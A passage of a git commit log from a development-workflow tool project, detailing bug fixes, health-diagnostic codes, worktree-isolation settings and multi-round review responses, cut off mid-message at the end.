Tom Boucher	43475a2e0f	fix(#3440): retire GAP CLOSURE PLANS CREATED marker, document artifact return contract (#3443) ... * fix(#3440): retire GAP CLOSURE PLANS CREATED marker, document artifact return contract * chore(#3440): backfill changeset pr number * docs(#3440): mark changeset docs-exempt with audit reason --------- Co-authored-by: sim <sim@local>	2026-08-14 09:20:50 -04:00
Tom Boucher	011153c076	fix(#3300): guard build_prompt optional sections against nullglob (#3454) ... * fix(#3300): guard build_prompt optional sections against nullglob * chore(#3300): backfill changeset pr number 3454 --------- Co-authored-by: sim <sim@local>	2026-08-14 02:53:19 -04:00
Tom Boucher	7d08d80234	fix(#3297): project --gaps mode onto next-up execute command (#3453) ... * fix(#3297): project --gaps mode onto next-up execute command * chore(#3297): set changeset pr to 3453 --------- Co-authored-by: sim <sim@local>	2026-08-14 02:47:24 -04:00
Tom Boucher	8fba67a674	fix(#3303): correct code_review_depth doc; add agent_skills array form (#3449) ... * fix(#3303): correct code_review_depth doc; add agent_skills array form * fix(#3303): backfill changeset pr field --------- Co-authored-by: sim <sim@local>	2026-08-14 02:39:17 -04:00
Tom Boucher	f78a4b3b80	fix(#3275): resolve reviewer lane binaries via shared pathext scan (#3445) ... * fix(#3275): resolve reviewer lane binaries via shared pathext scan * fix(#3275): pin changeset fragment to pr 3445 * fix(#3275): stage p4 resolver fixture in pathext casing --------- Co-authored-by: sim <sim@local>	2026-08-14 02:34:29 -04:00
Tom Boucher	2537c286f9	refactor(#1762): clarify verification-missing/unknown routing text (#3439) ... * test(#1762): assert reassuring verification-routing wording (RED) Regression test for #1762 — asserts readVerificationStatus's missing/ unknown next_action text reassures the user that execute-phase resumes at the verification gates without redoing work, instead of reading as a blind re-run instruction. Fails against current wording; the fix lands in the next commit. * fix(#1762): reassure verification-missing/unknown routing text is safe to run readVerificationStatus's 'missing' and 'unknown' next_action text read as "redo the implementation", when execute-phase's own discover_and_group_plans step (#2868) already resumes at the verification gates and skips execute_waves/checkpoint_handling entirely when every plan already has a SUMMARY.md. Reword both to say so explicitly, and soften the 'unknown' message to acknowledge a non-standard status may be an intentional marker rather than presuming re-verification is always the fix. Also updates progress.md's Route V.missing / V.unknown to consume the dynamic $VERIFICATION_NEXT_ACTION (matching V.gaps/V.human) instead of a hand-duplicated string, so the reassurance lands there too without a second copy to keep in sync. No change to next_command routing, status values, or the isPhaseComplete completeness predicate (still gated on status === 'passed' per the #2957 DISK-STRICT decision) — advisory text only. * fix(#1762): drop duplicated reassurance clause in progress.md routing text Review finding: the SUMMARY.md reassurance was stated once via the interpolated $VERIFICATION_NEXT_ACTION and again as a parenthetical on the command line, in both Route V.missing and Route V.unknown. Trimmed the parenthetical so $VERIFICATION_NEXT_ACTION stays the single source of truth. * docs(#1762): add changeset fragment Type Changed with a docs-exempt marker — advisory routing text only, no docs page documents this specific message today. * test(#1762): acknowledge progress.md emitted-content growth Route V.missing/V.unknown now render a small block referencing ${VERIFICATION_NEXT_ACTION} instead of a bare command line, growing progress.md by 376 bytes. Deliberate per the differential attribution check (ADR-2719). * chore: drop spent progress.md ack from #3218's emitted-drift fragment The #3218 growth it described is already on next (inert, per the lint's own note that spent acks 'can no longer clear anything'). Its presence collided with the new #1762 fragment naming the same bare filename, which lint-emitted-drift-ack rejects outright ('two ack sources may never name the same path'). #3218's other two acks (plan-phase.md, plan-review-convergence.md) are untouched. * docs(#1762): backfill changeset PR number --------- Co-authored-by: sim <sim@local>	2026-08-14 01:49:49 -04:00
Tom Boucher	fd4715f80f	fix(#3262): guard phase writes against milestone-scope headings (#3446) ... * fix(#3262): guard phase writes against milestone-scope headings * fix(#3262): fill changeset pr with 3446 --------- Co-authored-by: sim <sim@local>	2026-08-14 01:44:54 -04:00
Tom Boucher	dbbcb8f736	fix(#3191): anchor remaining diff-base greps, portably (#3437) ... * fix(#3191): anchor remaining diff-base greps, portably The #2989 fix anchored only the Tier-3 grep, and did so with \b — not a POSIX ERE token, so on macOS regex(3) it silently matches nothing and Tier 3 always fails closed. spawn_reviewer's agent-context DIFF_BASE and the fallow structural pre-pass's --changed-since base each still ran the original unanchored --grep="${PADDED_PHASE}", whose oldest substring match is routinely a version-string/date commit from months before the phase existed — feeding the reviewer agent a bogus diff_base exactly when files: is empty, and widening fallow's changed-files scope. All three derivations now use the same anchored, POSIX-portable '[Pp]hase N([^[:alnum:]_]|$)' with --extended-regexp; spawn_reviewer also gains Tier-3's parent-exists guard so the two computations are the same algorithm. Behavioral regression tests execute the shipped bash extracted from the workflow files against a git fixture on every platform, so the macOS \b hole is covered, not just the Linux CI view. * chore(#3191): backfill changeset PR number 3437 * fix(#3191): scope fallow test snippet past the gsd-tools resolver The CI runners have no installed gsd-tools, so executing the resolver line that precedes FALLOW_SCOPE_ARGS in the extracted fence exits 1 before the derivation under test ever runs. Slice the snippet to start at FALLOW_SCOPE_ARGS=() — the resolver is orthogonal to the base derivation the regression test binds. --------- Co-authored-by: sim <sim@local>	2026-08-14 00:53:13 -04:00
Tom Boucher	483083aea6	fix(#3194): verify source-grounded lane evidence from review output (#3436) ... * fix(#3194): verify source-grounded lane evidence from review output * chore(#3194): fill changeset pr number --------- Co-authored-by: sim <sim@local>	2026-08-14 00:29:42 -04:00
Tom Boucher	1d5d77951c	fix(#3190): commit review.md in --auto loop; fix report env var (#3434) ... * fix(#3190): commit review.md in --auto loop; fix report env var Three coupled defects in gsd-core/workflows/code-review-fix.md: - The --auto re-review loop overwrote REVIEW.md each iteration but the single docs commit staged only REVIEW-FIX.md, so the committed REVIEW.md stayed at iteration 1 and contradicted the committed REVIEW-FIX.md. The --auto commit now stages the converged REVIEW.md alongside REVIEW-FIX.md (guarded on AUTO_MODE; non-auto single-pass runs unchanged). - The two inline frontmatter validators (HAS_STATUS, FIX_FRONTMATTER) exported REVIEW_PATH into a node -e body that reads process.env. FIX_REPORT_PATH, so the status check was always empty and REVIEW-FIX.md was never committed. Both now export FIX_REPORT_PATH. - On successful convergence the spent .iterN.md backups are removed so the phase directory is clean; they are retained on degradation for post-mortem. Regression test: tests/code-review-fix-pipeline-regression.test.cjs. * chore(#3190): set changeset pr to 3434 --------- Co-authored-by: sim <sim@local>	2026-08-14 00:26:07 -04:00
Tom Boucher	7976b1ca0d	feat(#1689): per-plan agent_hint executor routing (#3417) ... * feat(#1689): per-plan agent_hint executor routing Option A per-plan specialist routing: a plan with an `agent_hint:` frontmatter field is dispatched to that subagent instead of gsd-executor when it resolves on the active runtime; absent/unresolved/disabled falls back to gsd-executor (byte-identical). Default-on via workflow.agent_hint_routing. - src/phase.cts: parse agent_hint into the plan-index JSON (plan_json.agent_hint) - agent-install-check.cts: resolveAgentHint() reuses getAgentsDir + runtime filename variants; probes project + global agent dirs; fails closed; rejects path-traversing names - gsd-tools.cjs: 'resolve-agent' query route (fail-closed to gsd-executor; --raw/--json) - execute-phase.md: lean per-plan reference + {EXECUTOR_TYPE} placeholder (host stays under the ADR-857 Phase 6 byte ceiling) - execute-phase/steps/per-plan-executor-routing.md: resolution logic (Agent()-based dispatch; advisory on orchestrator-worktree) - config: workflow.agent_hint_routing (validKey, default-on via SCHEMA_DEFAULTS, boolean validator) - docs (CONFIGURATION.md, plan-md.md), changeset, tests/agent-hint-routing-1689.test.cjs (17 tests) * chore(#1689): backfill changeset PR number (#3417) * chore(#1689): regenerate install-tree fixtures for new workflow fragment * chore(#1689): ack deliberate execute-phase.md growth (agent_hint routing) * test(#1689): SPAWN contract allows parameterized subagent_type placeholder agent-frontmatter's spawn-type checks scanned subagent_type="..." as a concrete agent name. execute-phase now uses subagent_type="{EXECUTOR_TYPE}" (a runtime placeholder resolved via resolve-agent, default gsd-executor). Skip {TOKEN} placeholders in both the known-type and <available_agent_types> checks; execute-phase still lists the built-in roster incl. gsd-executor. * fix(#1689): CI conformance for the routing fragment - per-plan-executor-routing.md: add the canonical runtime-launcher preamble to its gsd_run block (runtime-launcher-parity #373), matching sibling step fragments. - agent-install-check.cts: drop a literal ~/.claude/agents path from the resolveAgentHint JSDoc so it does not leak into the compiled engine .cjs (cline install leak guard). --------- Co-authored-by: sim <sim@local>	2026-08-13 23:10:52 -04:00
Tom Boucher	d30c99bc92	chore(#3421): delete orphan verify-phase workflow, migrate live gates to verifier (#3422) ... * chore(#1892): delete orphan verify-phase workflow, migrate live gates to verifier reference * test(#1892): retarget structural suites from verify-phase.md to verifier-phase-gates.md * chore(#1892): reword retired-workflow mentions for removed-but-needed lint * test(#1892): correct stale surface labels in retargeted suites * docs(#1892): add verifier-phase-gates row to locale inventories * chore(#3421): backfill changeset pr number --------- Co-authored-by: sim <sim@local>	2026-08-13 21:22:03 -04:00
Tom Boucher	b77b7f8e56	fix(#1526): delegate auto-chain post-completion to transition workflow (#3419) ... * fix(#1526): delegate auto-chain post-completion to transition workflow execute-phase's auto-chain completion called phase.complete then a light inline set (partial PROJECT.md update + offer-next) and never invoked the transition workflow, silently skipping graduation scan, session-continuity, project-reference, accumulated-context, and current-position updates — so a phase completed via auto-chain left different project state than a normal transition. Fix (delegate, user decision 2026-08-13): replace execute-phase's update_project_md + offer_next with a delegation step that @-includes transition.md in post-completion mode. Add a post_completion_mode step to transition.md that skips verify_completion + update_roadmap_and_state (phase.complete already ran; avoids double-write) and begins at evolve_project. Standalone transition (mode 1) is unchanged. Regression: tests/auto-chain-transition-delegation.test.cjs (source-text-is-the- product) asserts the delegation, the skip-set, the removed inline step, and the mode. Ack fragment 1526 covers execute-phase.md + transition.md growth (spent 2930 fragment removed — same-path owner conflict, like #3025/#3024). * docs(#1526): backfill changeset PR number (#3419) --------- Co-authored-by: sim <sim@local>	2026-08-13 20:31:55 -04:00
Tom Boucher	622c10b2c6	fix(#3025): refuse cross-runtime skill sync in sync-skills (#3404) ... * fix(#3025): refuse cross-runtime skill sync in sync-skills Skill content and directory layout are runtime-specific — the installer applies per-runtime converters, adapter headers, brand swaps, and layout rules at install time, and grok/gemini resolve to ANOTHER runtime's skills root. A verbatim cross-runtime cp -r therefore produces content the installer would never have written for the destination, and can damage a runtime the user never named. #3024 (closed) un-masked this, making the corruption live. Fix (option b, user decision): add a functional Step 1 guard that refuses any --to != --from with an actionable installer pointer, before any resolution or copy. Identity sync (--from == --to) remains a no-op. The non-functional Step 5 comment is replaced; Arguments/Limitations updated. Regression: tests/sync-skills-cross-runtime-refuse.test.cjs (source-text- is-the-product) asserts the guard exits non-zero for cross-runtime, points at the installer, precedes the cp -r copy, and preserves identity. * docs(#3025): backfill changeset PR number (#3404) --------- Co-authored-by: sim <sim@local>	2026-08-13 16:17:10 -04:00
sim	041414c4ad	feat(#3309): generate health.md's error-code and repair-action tables ... Closes the issue's explicit acceptance criterion: "health.md's tables are generated rather than hand-maintained, closing the 16-vs-30+ documentation gap structurally." The published roster listed 16 codes against 30+ actually emitted; W010-W017 and W020-W023 had never been documented. Adds description/repairable as static fields on Rule (health-diagnostic-types.cts) — generation needs a fixed, human-readable summary per code, distinct from the dynamic per-instance Diagnostic.message a rule's check() produces. repairable is true only when --repair will actually apply the remedy: false for ADVISE-only rules AND for DESTRUCTIVE-risk rules (regenerateState/resetConfig), which are described but never auto-applied — matches verify.cts's diagnosticToIssueEntry semantics exactly, after fixing E004/E005's static field to agree with it (both were wrongly true, an inconsistency caught during this same commit's own review, not left for later). New scripts/gen-health-docs.cjs (--write/--check, wired into lint:generated-sync) regenerates the two tagged table regions in gsd-core/workflows/health.md from RULES (31 rules) plus the 3 pre-checks that stay outside the rule table by design (E001, E010, I010) plus a small static Effect/Risk lookup for the 6 real repair actions — including addAiIntegrationPhaseKey, live in code since an earlier phase but never documented until now. 34 error-code rows, 6 repair-action rows. The table's old "grep verify.cts for the next free number" footnote is rewritten to point at the rule table and its lint guard instead.	2026-08-13 03:13:25 -04:00
Behruz Nassre Esfahani	f0abdb1b89	fix(#2486): do not recommend or persist Claude-only worktree isolation on non-Claude runtimes (#2531) ... * fix(#2486): runtime-branch the settings worktrees question + W020 health diagnostic On non-Claude runtimes /gsd:settings offered "Yes (Recommended)" for worktree isolation and persisted workflow.use_worktrees: true — the exact value the execution workflows fail closed on (#1521 guards). Branch the question on the same stamped config-get runtime read the guards use: Claude keeps the unchanged question; non-Claude offers only "No (Recommended)" / "Leave unchanged", never persists true, and warns when the config carries an inherited explicit true. /gsd:health gains W020, surfacing such a config with the guards' own predicate before execution-time failure. Docs state the runtime-conditional default. Fixes #2486 Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * chore(#2486): add changeset for PR #2531 Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(#2486): reassign the health worktrees check W020 -> W024 (verify.cts namespace collision) The workflow-level check collided with the live W020 (git-worktree-list health) emitted by cmdValidateHealth in src/verify.cts — invisible from health.md's error_codes table, which stops at W019 and under-represents the real namespace (W010-W017, W020-W023 all live). W024 verified free. Adds a regression test pinning the chosen code against src/verify.cts so a future assignment cannot silently collide, a table note naming the namespace owner, and the changeset body reworded to house style. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(#2486): pre-select the recommended repair in the broken-inheritance case Review round 2: at settings.md:142 the pre-selection rule left "Leave unchanged" as the default when the config carried an explicit non-false use_worktrees — the exact broken state the adjacent notice warns about, so accepting the default kept a config that fails closed at execution time. "Leave unchanged" is now the default only when the key is absent (nothing to repair); explicit false AND explicit non-false both pre-select "No (Recommended)", aligning the default, the label, and the notice. Pinned by two source-contract assertions in the #2486 regression block. Goldens (settings.md hash x19) + size baseline regenerated. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(#2486): gate the worktrees question on dispatch.isolation, not the runtime name Review round 2: #2584 Phase 3 replaced the runtime-name test with a declared `dispatch.isolation` capability, invalidating this PR's premise. cursor declares harness-worktree and codex/opencode/kimi/ kimi-code declare orchestrator-worktree, so a `RUNTIME != claude` gate blocked a supported configuration on five runtimes and false-warned in health. - settings.md + health.md read `query dispatch-isolation` and branch on `ISOLATION = none`; the runtime-name read is gone from both, and the capability read needs no per-runtime stamping (it fail-closes unknown/ undocumented internally) - all "Claude Code-only primitive" prose rewritten, including the two gates the shell-syntax check missed (config-key list, JSON schema comment) - W024 reconciled across health.md + CONFIGURATION.md + planning-config.md (docs still said W020, which collides with a verify.cts code) - health.md error-codes table fixed: the namespace note no longer sits between rows orphaning I001 - the asymmetry note for the two workflows #2584 has not migrated (quick.md, diagnose-issues.md) is enforced by a set-equality test with a self-check table, so it cannot go stale in either direction Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs(#2486): restore the Executor isolation section clobbered by #2661 `46ba02ac` (feat(#2630), the current next tip) reverted docs/CONFIGURATION.md to a pre-#2584 state: it restored the old "Non-Claude note" wording on the workflow.use_worktrees row and deleted the whole "Executor isolation per runtime" section. The change is unrelated to that PR's phase-estimation feature and looks like a stale-copy edit. This PR's use_worktrees row links to #executor-isolation-per-runtime, so the deletion leaves a dangling anchor. Restored byte-for-byte from a40ee8a5 (the text #2584 Phase 3 originally shipped). No link/anchor checker exists in scripts/ or tests/, so CI would not have caught the dead link. The reverted row wording is outside this PR's scope and is still wrong on next; reported upstream as #2668. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * test(#2486): acknowledge the emitted size growth for settings.md and health.md The #2723 differential attribution check (epic #2719 Phase 3) landed on next after this branch opened and gates emitted-file growth behind a committed acknowledgment. Both grown files are attributable to source this PR changes; the ack names them and says why, per ADR-2719 §3. Verified load-bearing: removing tests/emitted-drift-ack.json reproduces the same failure; restoring it passes 59/59. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(#2486): reword the W024 remediation so it names no bare gsd-tools call The W024 warning told the user to run `gsd-tools query config-set`, a command-position bare invocation that fails with "command not found" on a shim-only install (#2751) — the diagnostic sent the user into a second, more confusing error than the one it reported. The remediation now names only `/gsd:settings` and the config key itself, both of which work on every install layout, and the #2751 command-position gate goes green. Fixes #2486 * fix(#2486): drop the Known-asymmetry note and its guard test — #2728 migrates both workflows Review Major 2: once #2728 lands, the note describes a gap that no longer exists and instructs maintainers not to do the thing that was just done — with the set-equality guard test pinning the stale prose green. This PR now depends on #2728 (declared in the PR body), so the note and its guard go. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * test(#2486): make the #2728 merge order enforceable instead of advisory settings.md recommends and persists `workflow.use_worktrees: true` for every runtime whose declared dispatch.isolation is not `none` — cursor (harness-worktree) and codex/opencode/kimi/kimi-code (orchestrator-worktree). quick.md and diagnose-issues.md consume that value at dispatch time and, while they still gate on the runtime NAME, FATAL for all five. Merged first, this PR reintroduces #2486's own shape for the exact runtimes it exists to help — on the path it now labels "Recommended". The dependency was stated only as prose in the PR body. A merge-order note is not a gate: an automated batch merge never reads it. This adds the check that makes the ordering structural — red while either sibling is still name-gated, green the moment #2728 lands. The predicate matches a RUNTIME-vs-"claude" comparison, not the legitimate runtime-identity read, and accepts either the inline canonical dispatch-isolation read or a reference to dispatch-isolation-gate.md, which is the shape #2728 gives quick.md. Verified both directions against real sources: red against the current workflows, green against #2728's. This also closes W024's coverage window. W024 fires only when ISOLATION is `none`, so it is structurally blind to these five runtimes — /gsd:health would report healthy right up until quick.md FATALs. W024 cannot see the hazard, so the hazard is prevented by making the unsafe ordering unmergeable rather than by warning after the fact. Separately, the W-code namespace-collision test now declares its source read instead of passing lint silently: verify.cts emits its codes as inline string literals across ~25 addIssue() calls and exports no enumerable registry, so there is nothing to require() and assert against. The gap, and what it costs, are stated in the test. * docs(#2486): use the hyphen command form for /gsd-health in CONFIGURATION.md docs/ is never passed through the install-time slash-form converters, so the colon form names a command no runtime registers. Clears the sole lint-docs-command-form violation attributable to this PR. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(#2486): resolve isolation via new side-effect-free inspect-dispatch-isolation query; scope the settings change to isolation-none runtimes Review round 4: - B1: /gsd:health and /gsd:settings no longer call the recording dispatch-isolation query — on current next it persists the resolved decision to the executor-isolation sentinel as an unconditional #3045 side effect, letting a read-only diagnostic hard-block executor dispatch for the sentinel's lifetime across sessions. Both surfaces now use inspect-dispatch-isolation, a new read-only verb sharing the exact resolution implementation (extracted resolveDispatchIsolationDecision) with zero writes. Behavioral tests pin: no sentinel write, per-runtime parity with the recording verb, recording knobs ignored, --json shape. - B2: the #2728 merge-order interlock test is deleted — a repo test cannot sequence merges; it only made this PR unmergeable on its own schedule. The settings behavior change is scoped entirely to the ISOLATION=none branch, which needs nothing from #2728; the != none path is base behavior unchanged. - M1: the W024-vs-verify.cts namespace test (an admitted source-grep) is deleted per RULESET.TESTS.delete-bad-tests, without a standing exemption; the namespace claim lives as guidance in health.md. - M2: remaining allow-test-rule exemptions re-derived into documented categories (source-text-is-the-product, integration-test-input) with issue refs per ADR-456. - Minor: settings.md's current-value read drops the stampable --default/fallback so key-absence stays distinguishable from an explicit false on non-Claude emits (the pre-selection rule depends on the tri-state); docs now present inspect-dispatch-isolation as the inspection command and name dispatch-isolation as the recording resolver. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(#2486): put the install-marker rung in the canonical runtime resolver Round-7 review (independent cross-AI pass over the whole PR). BLOCKER — the gate did not fire in the default case. `resolveRuntime` stopped at GSD_RUNTIME > config.runtime > 'claude', and `config-new-project` writes NO `runtime` key — so on a real non-Claude install every consumer believed it was on Claude: isolation reported `harness-worktree`, /gsd:settings still offered "Yes (Recommended)" and W024 stayed silent. That is #2486's own symptom, surviving the fix meant to remove it. Verified end-to-end on a real `--qwen` install with a runtime-neutral config and GSD_RUNTIME unset: pre-fix `harness-worktree`, fixed `none`. The rung lives in `resolveRuntime` (src/runtime-slash.cts), the ONE canonical resolver, not in the isolation call site. A per-consumer fix forks precedence: `inspect-dispatch-isolation` would answer `cursor` while `dispatch-should-flatten` and `resolve-dispatch-type` still answered `claude` for the same install. All three now agree. `readInstallRuntimeMarker`, its cache and its test seams MOVED from model-resolver.cts to runtime-slash.cts, with model-resolver re-exporting the seams — one marker read and one cache, not two that drift. Deliberately NOT `resolveActiveRuntime`/`loadConfig`: an intermediate revision of this fix routed through `loadConfig`, which normalizes and rewrites legacy keys back to disk. That gave `inspect-dispatch-isolation` — the verb whose entire purpose is being side-effect-free — a write side effect, which is the defect the verb exists to avoid. `resolveRuntime` reads .planning/config.json directly. Re-verified: the inspect query against a real install creates no `.gsd/`. Tests, both of which were too weak in the first attempt and are now fail-first proven: - The W024 behavioral stub returned success-with-empty-output for an absent key. Real `config-get` EXITS NON-ZERO, and the `|| echo "true"` fallback only triggers on failure — so reintroducing the fallback would have passed. The stub now returns 1 for the absent case. - The marker regression asserted on the exported helper, so reverting gsd-tools.cjs to a marker-blind resolver still passed. It now drives a real `--qwen` install through the shipped `inspect-dispatch-isolation` query. (GSD_TEST_MODE must be cleared for that child, or install.js no-ops while still exiting 0 — a green test over an install that wrote nothing.) Spawned through `installSpawnEnv()` so ambient GSD_HOME cannot leak in. Also: the three PR-added `try/finally` test bodies converted to `t.after()` per CONTRIBUTING; CONTEXT.md's `worktree create` UNCONSUMED claim corrected (Phase 3 calls it in executor-isolation-dispatch.md); docs/CONFIGURATION.md now states the current non-Claude `use_worktrees` default rather than describing capability-scoped stamping that lands with #2652; resolver precedence comments updated to name the marker rung. Refs #2486 Refs #2668 * fix(#2486): split the marker rung out; make the use_worktrees doc row order-independent Round-8 review. trek-e's Blocker was procedural — commit 10fba7b8 moved the per-install .gsd-runtime marker rung into the canonical resolver, a large blast-radius change that arrived undisclosed and unreviewed. They offered two remedies; taking the second: SPLIT IT OUT. src/runtime-slash.cts and src/model-resolver.cts are reverted to their next state and the marker regression test is removed. What remains is what this PR was filed for: the settings.md / health.md / gsd-tools.cjs isolation query, W024, and the #2668 docs restoration. COST, stated plainly rather than buried: without that rung this PR's gate resolves 'claude' on a non-Claude install whose project config carries no `runtime` key — which is every config config-new-project writes. On those installs W024 stays quiet and /gsd-settings still offers Worktrees. The gate is correct whenever the runtime IS resolvable (GSD_RUNTIME set, or an explicit config.runtime). That is why `Fixes #2486` is already downgraded to `Refs` — #2486 must not close until the residual lands. A KNOWN LIMITATION comment at the resolver call site names #2395 so this does not read as an oversight. The rung itself belongs to #2395, which reports this exact defect and was closed by #2446 — a PR that touched only bin/install.js and fixtures and never runtime-slash.cts, so it persisted the identity into ~/.gsd/defaults.json, a tier resolveRuntime does not read. Evidence and a reopen request are posted there. That same tier is #2566's B1. DOCS — the reviewer flagged that this row and #2728's are order-dependent: whichever merges second falsifies the other. Removed the dependency instead of picking an order. The "Current default … until #2652" paragraph is now a plain troubleshooting note, true before and after #2728 lands. CONFLICT — one hunk in CONTEXT.md: next added the #2596 scope-conformance interface to the same Worktree-Safety paragraph where this PR corrected the `worktree create` UNCONSUMED claim. Resolved keeping both. Verified: lint:ci green. Full suite clean apart from the pre-existing #1160 installed-runtime capability surface. (emitted-attribution also failed until the fork's stale next was fast-forwarded — it defaults to origin/next, which was 131 commits behind; 175/175 against the current base.) Refs #2486 Refs #2668 * fix(#2486): address round-9 review — distinguish "cannot resolve" from "declares none", reject recording-only args on the read verb Codex review of the whole PR, five findings, all verified against source first. Major 3 (the one real defect). Both surfaces read isolation as `ISOLATION=$(… || echo "none")`, so a resolver failure became indistinguishable from a genuine `dispatch.isolation: none` declaration — and W024's text then asserts the latter, telling a user their runtime declares no executor-isolation primitive when GSD simply could not find out. health.md and settings.md now capture the raw value and track ISOLATION_RESOLVED, the same shape references/dispatch-isolation-gate.md already uses (#2652 review). W024 gained a second message for the unresolved case; settings still fails closed there — it must never persist a `true` it cannot justify — but reports what happened rather than a verdict it never reached. Major 4. `dispatch-isolation` applies --force-isolation AFTER the shared resolver returns; inspection accepted the flag and silently ignored it, so the same argv yielded 'none' from one verb and the declared capability from the other. inspect-dispatch-isolation now rejects --force-isolation/--phase/--plan as usage errors. Verified by mutation: disabling the guard reds exactly the three new rejection tests. Major 1. settings.md claimed this flow and the execution guards "always reach the same verdict". False while quick.md still gates on the runtime name: an orchestrator-worktree host can be offered a `true` that /gsd:quick rejects as fatal, W024 silent because isolation is not none. Scoped the claim to the capability gate, named #2728 as the conversion, and added the same caveat to the CONFIGURATION.md use_worktrees row. Not a behavior change — the `!= none` branch is untouched base behavior. Major 2. "side-effect-free" overstated it: every gsd-tools invocation runs the shared bootstrap, and getActiveWorkstream unlinks a stale workstream pointer. That is pre-existing, verb-independent and cannot block a dispatch; writing the sentinel can. Renamed the claim to "sentinel-free" everywhere and documented precisely what is and is not asserted. Minor 5. The JSON parity test asserted against a handwritten key list and never invoked the recording verb, so the two could diverge and stay green. It now runs `dispatch-isolation --json` in a separate project dir and deep-compares, with a control asserting that verb DID write a sentinel. Added the orchestrator exec branch (--cwd-target) the registry parity test never covered. runtime-converters.test.cjs pinned the old `|| echo "none"` line as canonical — that literal was the Major 3 defect. Repinned as two invariants (the raw read is present; the collapsing fallback is absent) plus an ISOLATION_RESOLVED requirement, so reformatting does not fail the test but a semantic regression does. settings.md sits at 40777 bytes against the 40960 DEFAULT hard cap. The round-9 prose was compressed to fit rather than raising the cap. Validated: lint:ci clean; full suite green except the two failures that reproduce identically on pristine next @ 33fca50d (#1160 _resolveManifest, and the #3053 quick_id tests, which compare a local-time expectation against a TZ=UTC child and so only pass on a UTC host). * fix(#2486): second review pass — drop a dangling reference, correct the whole unresolved branch, pin the branch behaviorally Codex re-review of the full PR after the first round-9 pass. It confirmed Majors 1, 2 and 4 and Minor 5 fixed, and found seven more. All verified against source. Minor 5 was mine and the worst of them: settings.md and health.md pointed at `gsd-core/references/dispatch-isolation-gate.md`, which exists only on the #2728 branch — not in this PR and not on the merge-base. Merging this alone would have shipped three dangling canonical-source references. Removed; the surrounding text now stands on its own. Major 2. The unresolved branch corrected only the two option descriptions. The pre-selection rationale still claimed an absent key already resolves to false on this runtime, and the explicit-true notice still stated the runtime declares no primitive — both capability verdicts that were never reached. The substitution rule now covers every place in that branch that asserts one. Major 3. The repinned invariants could not catch the mutation they existed to catch: flipping the shipped block's ISOLATION_RESOLVED=true to false left all three green, since they only assert the raw read is present, the token appears, and the collapsing fallback is gone. Added a behavioral test that drives the shipped W024 block twice — resolver answering vs resolver exiting non-zero — and asserts the two emit different text, that the unresolved branch says "could not resolve", and that it does NOT claim the runtime has no primitive. Verified: the true->false mutation now reds it. Major 1. The verb fail-closes an unknown or undeclared runtime to `none` and exits 0, so ISOLATION_RESOLVED=true means "the query answered", not "the runtime published a declaration" — the shell cannot see an internal fallback. Exposing provenance is an API change and out of scope here, so W024's resolved-case text is instead written to be true of every path that reaches it ("no usable executor-isolation primitive — declared or fail-closed from an unknown value"), and both workflows state the limit of the signal explicitly. Minor 4. The rejection tests regex-matched human prose, so swapping ERROR_REASON.USAGE for UNKNOWN would have kept them green while breaking machine consumers. They now pass --json-errors and assert reason === 'usage' on the parsed envelope. Minor 6. CONTEXT.md still described the verb as side-effect-free. Now sentinel-free, consistent with the router comment and the other two surfaces. Minor 7. 183 bytes of headroom under the 40960 hard cap was called unacceptable, and it was — a routine 184-byte edit would have failed CI. Compressed this PR's own settings.md prose (the #2486 block was carrying ~7.1KB of rationale) to 40499 bytes, 458 free. Two phrases other tests pin verbatim were restored after the first compression pass reworded them. Validated: lint:ci clean; full suite green except the two failures that reproduce identically on pristine next @ 33fca50d. * fix(#2486): third review pass — placeholder table replaces the fragile substitution rule Codex round 3 blocked the push on two Majors. Both verified and real. Major 2 was the substantive one and my error. The round-2 fix told the model to find and replace the string "this runtime declares no executor-isolation primitive (dispatch.isolation: none)" — text that does not appear anywhere in the branch. The first option description has no parenthetical, the second asserts "absent, it already resolves to false on this runtime" (not covered at all), and the pre-selection rationale and notice carried three more unsupported assertions. A model following the instruction literally would have found no match and changed nothing. Replaced with three named placeholders — {FINDING}, {CONSEQUENCE}, {ABSENCE} — and a two-column table giving each one's resolved and unresolved wording. Every assertion in the branch now flows from the table, so none of them can outrun what was actually established, and there is no string-matching to get wrong. It is also shorter than the prose it replaced. Major 1: the resolver catches thrown errors and returns none successfully, a path the round-2 wording ("declared, or unknown/undeclared") did not cover. Both surfaces now say "declared as none, or fail-closed because the capability could not be determined", which is true of the thrown path too, and both state that an internal resolution error is among the things the verb fail-closes. Still not provenance — the verb cannot distinguish these for the caller — but no longer a claim the code contradicts. Minor 3: the behavioral test asserted only that the two branches differ and that the resolved one omits "could not resolve", so arbitrary resolved text stayed green. Now pins what it must positively say: the capability finding, the fail-closed consequence, the offending key, and (both branches) the repair command. Minor 4: two stale artifacts the round-2 sweep missed — a test comment still citing the #2728-only references/dispatch-isolation-gate.md, and the emitted drift ack still describing inspection as side-effect-free. Also aligned the two remaining router comments to sentinel-free. settings.md 40420 bytes, 540 free under the cap. Validated: lint:ci clean; full suite green except the two failures that reproduce identically on pristine next @ 33fca50d. * fix(#2486): fourth review pass — stop recommending a repair whose effect depends on the emit Codex round 4, one Major and three Minors. The Major is a real hole and worth the round. W024 advised "remove the key from .planning/config.json so the runtime default (false) applies". That default is not false everywhere: execute-phase.md:102, quick.md:155 and diagnose-issues.md:62 all read the key as `|| echo "true"`, and only `_stampNonClaudeRuntimeDefaults` rewrites them to `--default false` on a non-Claude emit. So on an un-stamped emit the advised repair leaves use_worktrees resolving to TRUE against isolation none — exactly the state W024 exists to flag. Reachable in the round-3 gap: a caught internal resolver error returns none with rc=0, so ISOLATION_RESOLVED is true and the confident branch fires on a host whose emit was never stamped. Fixed by removing the dependence rather than the symptom: both surfaces now say to set workflow.use_worktrees false explicitly, and say why deleting the key is not equivalent. The {ABSENCE} placeholder no longer claims absence resolves to false unconditionally — it is scoped to an emit that stamped that default. Minor: the notice and W024 hardcoded .planning/config.json, which is the wrong file in an active workstream (settings itself resolves $GSD_CONFIG_PATH correctly). Both now say "the project config", naming the workstream case. Minor: the 